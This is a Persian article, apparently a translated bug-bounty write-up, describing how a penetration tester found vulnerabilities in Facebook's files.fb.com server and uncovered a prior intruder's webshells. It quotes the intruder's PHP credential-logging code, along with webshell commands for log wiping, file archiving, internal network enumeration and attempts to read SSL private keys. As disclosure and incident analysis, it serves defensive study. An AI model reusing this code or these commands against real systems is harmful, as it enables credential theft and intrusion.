پيش گفتار

در دنياي مجازي نسبت به دنياي حقيقي خطرات بيشتري وجود دارد. براي اينکه امنيت دنياي مجازي تضمين شود بايد اقداماتي روي سرورها و سايت ها انجام شود تا منافذ نفوذ هکرها شناخته شود و جلوي آنها گرفته شود؛ به مجموعه اين اقدامات به آنها تست نفوذ گفته مي شود.

براي تست نفوذ بايد روش هاي هک را روي هدف مورد نظر پياده کرد. بر ين اساس پنج مرحله هک قانونمند وجود دارد که شامل موارد زير مي شود:

· شناسايي

· اسکن

· ايجاد دسترسي

· حفظ دسترسي از بين بردن رد پاها

. از بين بردن رد پاها و لاگ هاي سيستم

مرحله اول شامل شناسايي است که خود شامل پسيو و اکتيو مي شود

شناسايي پسيو شامل جمع آوري اطلاعات از طريق روش هاي مختلف مانند مهندسي اجتماعي[1]، آشغال گردي[2]، استراق سمع شبکه [3]و... مي باشد.

شناسايي اکتيو داراي ريسک بالاتري نسبت به پسيو است و شامل کشف کامپيوتر هاي افراد و.. مي باشد.

مرحله دوم اسکن شبکه، سايت و سرور است و شامل اسکنرهاي پورت ها مانند Nmap ، ابزارهاي ترسيم نقشه شبکه مانند maltego و اسکنرهاي تست آسيب پذيري مانند Nessus ، metasploit، Acunetix و... مي باشد.

در اين مرحله با استفاده از اسکنرها يکسري از آسيب ها شناسايي مي شوند که ممکن است براي آن اکسپلويت يعني يک کدي براي نفوذ، وجود داشته باشد يا خير. براي اين منظور يک سري از سايت ها مانند www.exploit-db.com اکسپلويت ها را براي استفاده با مشخصاتي مانند CVE-2016-2350 منتشر مي کنند و اگر هم وجود نداشت بايد يک برنامه نويس حرفه اي، اکسپلويت نفوذ را با زبان برنامه نويسي perl ، php ، Python و... بنويسد. بايد توجه داشت که به روز رساني منظم سيستم عامل ها مي توانند اکسپلويت هاي هکر ها را از کار بياندازد.

مرحله سوم شامل ايجاد دسترسي بر روي هدف مورد نظر است که مي تواند سايت، ايميل يا سرور باشد. در اين مرحله آسيب پذيري هاي شناخته شده در مراحل شناسايي و اسکن از طريق شبکه محلي به هدف مورد نظر مي باشد. که در دنياي هکرها با نام Owning the system   شناخته مي شود.

مرحله چهارم شامل حفظ دسترسي به سرورها، سايت ها و... مي باشد که هر زمان که هکر اراده کند بتواند از خدمات آن سايت يا سرور استفاده کند براي اين منظور از طريق backdoor ، rootkit و تروجان ها صورت مي گيرد در اين حالن به آن سيستم Zombie گفته مي شود.

مرحله پنجم که براي هکرها بسيار مهم است از بين بردن رد پاها و لاگ هاي سيستم مي باشد تا قابل شناسايي براي پليس نباشد.

در اين مقاله هکر انگيزه خود را براي پيدا کردن باگ و نفوذ فيس بوک، جايزه شرکت فيس بوک عنوان کرده است.

شرح هک فيس بوک به وسيله يک متخصص تست نفوذ

به عنوان کسي که تست نفوذ انجام مي دهد، آسيب پذيري هاي سمت سرور را به آسيب پذيري هاي سمت کلاينت ترجيح مي دهم. چرا؟ چون کنترل سرور و به دست آوردن Shellبسيار بهتر است.

البته، هردوي اين آسيب پذيري ها براي يک تست آسيب پذيري کامل لازم الاجرا هستند. بعضي اوقات، براي کنترل هرچه بهتر سرور، به آسيب پذيري هاي سمت کلاينت احتياج داريم. ولي وقتي صحبت از آسيب پذيري باشد، من ترجيح مي دهم اول آسيب پذيري هاي سمت سرور را پيدا کنم.

 

با افزايش محبوبيت فيسبوک در جهان، من هميشه علاقمند به آزمودن ميزان امنيت فيسبوک بوده ام. خوشبختانه، در سال 2012، فيسبوک برنامه ي جايزه در ازاي باگ را راه اندازي کرد، که حتي من را براي امتحانش تهييج کرد.

از ديدگاه يک نفوذ کننده، من تمايل دارم از شناسايي و تحقيق شروع کنم. در ابتدا، وسعت شرکت در اينترنت را مشخص ميکنم، بعد به دنبال يک ورودي خوب براي وارد شدن ميگردم، براي مثال:

· با گوگل هکينگ[4] چه ميتوانم پيدا کنم؟

· چند IP [5]کلاس Bو چند IPکلاس Cاستفاده شده است؟

· [6]Whois؟ Whoisمعکوس؟

· چه نام دامنه هايي استفاده شده است؟ نام دامنه هاي داخلي آنها چيست؟ و بعد ادامه دادن با شناسايي زير-دامنه ها

· کدام تکنيک ها و فروشنده هاي تجهيزات را ترجيح مي دهند ؟

· هرگونه رخنه اطلاعات در github [7]و pastebin؟

· غيره...

البته، جايزه در ازاي باگ محدوديت هايي دارد و نمي توان به صورت تصادفي حملاتي را انجام داد. با مقايسه ي يافته هاي خودتان با کارهايي که اجازه‌ي انجام آن ها از قبل توسط جايزه در ازاي باگ داده شده، قسمت مشترک قسمتي است که ارزش امتحان کردن دارد.

در اينجا مي خواهم تعدادي از مشکلات امنيتي معمولي که طي تست نفوذ در شرکت هاي بزرگ پيدا شده با ارائه ي مثال توضيح دهم.

1. براي اکثر شرکت هاي بزرگ، مراقبت از "مرز شبکه"تقريبا کار سختي است. در شرکتي که رشد کرده است، ده ها هزار روتر، سرور و کامپيوتر وجود دارد که "سيستم مديريت اطلاعات"بايد به آنها رسيدگي کند، پس ايجاد يک مکانيزم بي نقص حفاظتي غير ممکن است. حملات امنيتي فقط با قوانيني کلي دفاع مي شوند، ولي يک حمله‌ي موفق تنها به يک نقطه ضعف کوچک نياز دارد. براي همين اکثرا شانس حمله کننده بيشتر است: يک سرور بيروني آسيب پذير براي ورود به شبکه‌ي داخلي کافي است! ( زيرا از طريق سرور بيروني مي توان به راحتي به شبکه داخلي يک سازمان که با سرور به صورت آنلاين در ارتباط است نفوذ کرد)

2. عدم آگاهي در حفاظت "تجهيزات شبکه اي". اکثر تجهيزات شبکه اي تنظيمات [8] Shellخوبي ارائه نمي دهند و فقط از طريق رابط کاربري تنظيم مي شوند. محافظت از اين دستگاه ها اکثرا بر روي لايه‌ي شبکه[9] انجام مي شود. اگرچه، ممکن است کاربر حتي متوجه نشود اين دستگاه ها مورد حملات 0- Dayيا 1-Day[10] قرار گرفته اند.

3. ايمني مردم: امروزه ما اهميت "پايگاه داده‌ برملا شده" ( با نام مهندسي اجتماعي پايگاه داده‌ها در چين شناخته مي شود) را مي دانيم، بعضي اوقات اين اطلاعات برملا شده نفوذ را بسيار آسان مي کند. کافيست به پايگاه داده‌ي برملا شده وصل شويد، يک يوزر که به VPNدسترسي دارد پيدا کنيد... و تمام! مي توانيد با نفوذ به شبکه‌ي داخلي کار را ادامه دهيد. اين کار مخصوصا وقتي درست است که وسعت اطلاعات برملا شده آنقدر زياد باشد که بتوان پسورد ادمين را در اطلاعات برملا شده پيدا کرد. اگر اين اتفاق بيافتد، امنيت شرکت قرباني از بين مي رود[11].

طبيعتا، وقتي به دنبال آسيب پذيري در فيسبوک ميگشتم، تست هاي نفوذي که ميشناختم را دنبال ميکردم. وقتي که شناسايي و تحقيق انجام مي دادم، نه تنها به دنبال نام دامنه هاي فيسبوک گشتم، بلکه Whoisبرعکس را هم امتحان کردم. با کمال تعجب يک نام دامنه جالب پيدا کردم:

tfbnw.net

TFBNWبه نظر مخفف "The Facebook Network” است، بعد سرور زير را از طريق اطلاعات آشکار پيدا کردم:

vpn.tfbnw.net

وقتي بهvpn.tfbnw.net دسترسي پيدا کردم يک صفحه ورودJuniper SSL VPN در آن وجود داشت. ولي به نظر کاملا نسخه‌‌ي جديدي بود و هيچ راه نفوذ مستقيمي وجود نداشت... در هر صورت، باعث شروع داستان شد.

به نظر مي رسيدTFBNW يک نام دامنه‌ي داخلي براي فيسبوک باشد.IPهاي کلاسCآدرس vpn.tfbnw.netرا پيدا کردم و سرور هاي جالبي پيدا کردم[12]، براي مثال:

· Mail Server Outlook Web App

· F5 BIGIP SSL VPN

· CISCO ASA SSL VPN

· Oracle E-Business

· MobileIron MDM

با توجه به اطلاعات اين سرورها، حدس زدم اينIPهاي کلاسCبراي فيسبوک با اهميت هستند. حالا داستان رسما شروع مي شود.

کشف آسيب پذيري

من يک سرور خاص بين اينIPهاي کلاس Cپيدا کردم.

files.fb.com

اين که اين آسيب پذيري قابل اکسپلويت شدن هست يا نه با فهميدن اطلاعات نسخه آن در "/tws/getStatus” قابل تشخيص است. زماني که من files.fb.comرا کشف کردم نسخه‌ي ناقص v0.18به نسخه‌ي v0.20به روز رساني شده بود. ولي با توجه به قطعه هاي سورس کد موجود در Rapid7[13]، حس کردم با چنين شيوه‌ي کد نويسي‌اي حتما مشکلات امنيتي در FTA باقي مانده که با جست و جو آن ها را مي يابم. از اين رو، جست و جو براي آسيب پذيري هاي 0-Dayبر روي محصولات FTAرا آغاز کردم!

در واقع، با آزمون [14]black-box، هيچ آسيب پذيري ممکني پيدا نکردم، و بايد آزمون [15] white-boxرا امتحان مي کردم. بعد از جمع آوري سورس کد هاي نسخه هاي قبلي FTA از منابع متعدد بالاخره تحقيقاتم به نتيجه رسيد!

محصول FTA

1. رابط هاي کاربريِ بر پايه‌ي وب به طور عمده با Perlو PHPساخته شده بودند.

2. سورس کدهاي PHPتوسط IonCubeرمزنگاري شده بودند.

3. تعداد زيادي Perl Daemonدر پشت صحنه

اول سعي کردم IonCube را رمزگشايي کنم. بسياري از فروشندگان تجهيزات شبکه براي جلوگيري از هک شدن سورس کد محصولات خود را رمزنگاري مي کنند. خوشبختانه، نسخه‌ي IonCube‌ اي که FTAاز آن استفاده مي کرد به روز نبود و با ابزار هاي آماده قابل رمزگشايي بود. ولي من هنوز بايد بعضي جزئيات را درست مي کردم، وگرنه اوضاع به هم ميريخت...

بعد از يک بازديد ساده، فکر کردم شايد Rapid7آسيب پذيري هاي ساده تر را پيدا کرده باشد.

و آسيب پذيري هايي که مورد نياز بودند به راحتي قابل اکسپلويت نبودند. پس نياز به جست و جوي بيشتري بود!

بالاخره، 7آسيب پذيري پيدا کردم، شامل:

· XSS x 3

· Pre-Auth SQL Injectionکه منجر مي شود بهRemote Code Execution

· Known-Secret-Keyکه منجر مي شود بهRemote Code Execution

· Local Privilege Escalation x 2

جدا از گزارش به تيم امنيتي فيسبوک، ديگر آسيب پذيري ها به تيم پشتيباني Accellionارائه شد. بعد از اين که Accellion باگ ها را برطرف کرد، من آسيب پذيري ها را براي CERT/CCفرستادم و آن ها چهار CVEبه اين آسيب پذيري ها اختصاص دادند:

· CVE-2016-2350

· CVE-2016-2351

· CVE-2016-2352

· CVE-2016-2353

جزئيات بيشتر را بعدا منتشر خواهم کرد!
 

 

چيز عجيبي آنجا بود؟

وقتي جزئيات و مدارک آسيب پذيري را براي گزارش به فيسبوک جمع آوري مي کردم، چيزهاي عجيبي در web logپيدا کردم.

اول از همه پيام هاي خطاي PHP عجيبي در "/var/opt/apache/php_error_log” پيدا کردم. به نظر اين پيام هاي خطا به خاطر تغيير آنلاين کدها ايجاد شده اند؟

↑ PHP error log

مسيرهاي موجود در خطاهاي PHPرا دنبال کرده و فايل هاي WEBSHELLمشکوکي که توسط "بازديد کننده هاي"قبلي به جا مانده بود کشف کردم

.

 

↑ Webshellبر روي سرور فيسبوک

محتواي بعضي از فايل ها به صورت زير است:

Sclient_user_class_standard.inc

include_once('sclient_user_class_standard.inc.orig');

$fp=fopen("/home/seos/courier/B3dKe9sQaa0L.log","a");

$retries=0;

$max_retries=100;

// blah blah blah...

fwrite($fp,date("Y-m-d H:i:s T").";".$_SERVER["REMOTE_ADDR"].";".$_SERVER["HTTP_USER_AGENT"].";POST=".http_build_query($_POST).";GET=".http_build_query($_GET).";COOKIE=".http_build_query($_COOKIE)."\n");

// blah blah blah...

چند مورد اول بکدور هاي تک خطيِ ساده‌ي PHPبودند ولي يک استثناء وجود داشت:

"Sclient_user_class_standard.inc"

در include_once "scilent_user_class_standard.inc.orig” برنامه اصلي PHP براي بازبيني رمزعبور وجود داشت، و هکر يک پروکسي براي لاگ کردن مقادير GET، POSTو COOKIE ايجاد کرده بود و تعدادي عمليات مهم در حال اجرا بود.

يک خلاصه‌ي کوتاه، هکر يک پروکسي در صفحه‌ي credentialها ايجاد کرده بود تا يوزنيم و پسوردهاي کارمندان فيسبوک را لاگ کند. اين رمزعبور هاي لاگ شده در وب دايرکتوري هکر ذخيره مي شد تا هر موقع که لازم بود از آن ها استفاده کند.

wget

https://files.fb.com/courier/B3dKe9sQaa0L.log

 

↑ رمزعبور هاي لاگ شده

از روي اين اطلاعات مي توانيم ببينيم جدا از يوزنيم و پسوردهاي لاگ شده همچنين محتواهايي وجود داشته که از FTAدرخواست فايل مي کردند، و اين يوزنيم و پسوردهاي لاگ شده مرتبا در حال چرخش بودند.(بعدا به اين اشاره خواهيم کرد، اين که اشاره‌ي سطحي بود)

وقتي من اين ها را کشف کردم، حدود 300يوزر و پسورد بين اول تا هفتم فوريه لاگ شده بودند که بيشتر از "@fb.com”و "@facebook.com” بودند. با ديدن اين فکر کردم اين يک واقعه‌ي امنيتي جدي است. در FTA، دو حالت براي لاگين کاربر وجود دارد:

1.

ثبت نام کاربرهاي معمولي: Hashرمز عبور آن ها در پايگاه داده ذخيره شده و آن Hashتوسط SHA256+SALTرمزنگاري مي شود.

2.

تمام کارمندان فيسبوک(@fb.com): از LDAPاستفاده شده و توسط سرور ADتائيد مي شدند.

من معتقدم اين يوزنيم و پسوردهاي لاگ شده رمزعبورهاي واقعي بودند و "حدس"مي زنم آن ها مي توانستند از سرويس هايي مانند Mail OWAو VPNبراي نفوذ پيشرفته استفاده کنند.

به علاوه، اين هکر سهل انگار بود:

1.

پارامترهاي بکدور از متود GET عبور مي کردند و ردپاي هکر در لاگ وب باقي مي ماند و به

راحتي قابل شناسايي بود.

2.

وقتي هکر دستورات را ارسال مي کرد، به STDERRتوجهي نداشت، و تعداد زيادي پيام خطا در لاگ وب باقي گذاشت که کارهاي هکر را قابل رديابي و شناسايي مي کرد.

هکر هر چند روز يوزنيم و پسوردهايي که لاگ کرده بود را از access.log پاک مي کرد:

192.168.54.13--17955[Sat,23Jan201619:04:10+0000|1453575850]"GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1"2002559...

فايل ها را فشرده مي کرد:

cat tmp_list3_2 |whileread line;do cp /home/filex2/1000/$line files;done 2>/dev/stdout

tar -czvf files.tar.gz files

Enumerating internal network architecture

dig a archibus.thefacebook.com

telnet archibus.facebook.com 80

curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php

dig a records.fb.com

telnet records.fb.com 80

telnet records.fb.com 443

wget -O- -q http://192.168.41.16

dig a acme.facebook.com

./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 2011255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout

...

Location: https://mail.thefacebook.com/owa/ [following]

--20:38:10-- https://mail.thefacebook.com/owa/

Reusing existing connection to mail.thefacebook.com:443.

HTTP request sent, awaiting response... 302 Moved Temporarily

Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]

--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0

Reusing existing connection to mail.thefacebook.com:443.

HTTP request sent, awaiting response... 200 OK

Length: 8902 (8.7K) [text/html]

Saving to: `STDOUT'

0K ........ 100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33-- (try:15) https://10.8.151.47/

Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/

Resolving svn.thefacebook.com... failed: Name or service not known.

--20:39:03-- https://sb-dev.thefacebook.com/

Resolving sb-dev.thefacebook.com... failed: Name or service not known.

failed: Connection timed out.

Retrying.

تلاش براي دزديدن SSL Private Key

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

ls: /etc/opt/apache/ssl.key/server.key: No such file or directory

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

mv: cannot stat `x': No such file or directory

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied

base64: invalid input

بعد از بررسي مرورگر فهميدم SSL certificateآدرس files.fb.com، *.fb.comاست...

سخن پاياني

در اين مقاله يک هکر سعي کرده است روش هاي هک فيس بوک را از طريق تست نفوذ به اطلاع تيم فيس بوک برساند و جايزه مورد نظر را دريافت کند.

در ابتدا هکر، سرور شبکه داخلي فيس بوک که براي کارمندان آن بوده است را شناسايي کرده و سرويس هاي خدماتي بر روي يک شبکه داخلي را بدست مي آورد.

سپس دامنه file.fbc.com را که به روز نشده بود پيدا مي کند، در واقع شانس هکر اين بوده است که اين سرويس به روز نشده بوده است.

از طريق روش هاي تست نفوذ جعبه هاي سياه و سفيد که يک اصطلاح هکري است ، سورس کد php را که باروش ioncube رمزگذاري شده بود را پيدا مي کندف سپس با استفاده ازروش اسکن ، 7 نوع آسيب پذيري مهم از نوع xss ، sql injection ، local privilege و.. را شناسايي مي کند.

اين هکرآسيب هاي فوق را گزارش مي دهد و cve مورد نظر براي آن تعريف مي شود.

هکر از طريق خواندن کد سورس ها در لاگ وب، به يک وب شل ( دسترسي) مشکوک مي رسد که هک آن را ايجاد کرده بود و تمامي پزر و پسورد کارمندان فيس بوک را مي دزديد.

همانطور که اشاره شد امنيت در فضاي مجازي مطلق نيست و حتي شرکت بزرگ و مهمي مانند فيس بوک نيز قابل هک است.

بعد از اين که مدارک کافي جمع آوري شد، به سرعت آن ها را به تيم امنيتي فيسبوک گزارش دادم. به غير از جزئيات آسيب پذيري به همراه لاگ ها، اسکرين شات ها و بازه هاي زماني را هم ارسال کردم.

همچنين، در لاگ موجود بر روي سرور، 2بازه‌ي زماني وجود داشت که هکر مشخصا به سيستم دسترسي پيدا کرده بود، يکي در آغاز جولاي و ديگري در اواسط سپتامبر.

در جولاي به نظر server dorkingانجام شده بود و مورد سپتامبر خبيثانه تر بود. به جز server dorking، key loggerهم به کار برده شده بود. آيا اين دو هکر يک نفر بودند؟ منهم مثل شما نمي دانم!

اتفاق جولاي درست قبل از معرفي اکسپلويت CVE-2015-2857به وقوع پيوست. آيا اين يک تهاجم 0dayبوده يا 1dayسوالي است که بي پاسخ مي ماند.

اينجا آخر داستان ماست، و در کل تجربه‌ي جالبي بود! اين اتفاق به من انگيزه داد تا در مورد نفوذ مقالاتي

بنويسم. در پايان مي خواهم از جايزه در ازاي باگ و تيم امنيتي بردبار فيسبوک که اجازه دادند من اين اتفاق را به طور کامل بازگو کنم تشکر کنم.

بازه‌ي زماني

05/02/201620:05 : ارائه جزئيات آسيب پذيري به تيم امنيتي فيسبوک

05/02/201620:08 : دريافت جواب اوليه

06/02/201605:21 : ارسال آسيب پذيري براي تيم پشتيباني Accellion

06/02/201607:42 : دريافت پاسخ از Thomasکه اعلام کرد بررسي در حال انجام است

13/02/201607:43 : دريافت پاسخ از Reginaldoدرباره دريافت جايزه‌ي 10000دلاري

13/02/2016 : سوال در مورد اين که آيا در مقاله‌اي که مي خواهم در وبلاگم

بنويسم بايد به نکته‌ي خاصي توجه کنم يا خير؟

13/02/2016 : سوال در مورد اين که آيا آسيب پذيري بايد به عنوان RCEدسته بندي شود يا

SQL Injection؟

18/02/2016 : دريافت پاسخ از Reginaldoمبني بر اين که تحقيقات تحقيقاتي در حال انجام است و اينکه

آيا ممکن است تا تکميل اين فرآيند مقاله‌اي در وبلاگ ننويسم؟

24/02/2016 : دريافت پاسخ از Haiمبني بر اين که پرداخت جايزه در دوره پرداختي هاي ماه مارس

انجام مي شود

20/04/2016 : دريافت پاسخ از Reginaldoمبني بر اين که تحقيقات به پايان رسيده است.

دریافت کد اوقات شرعی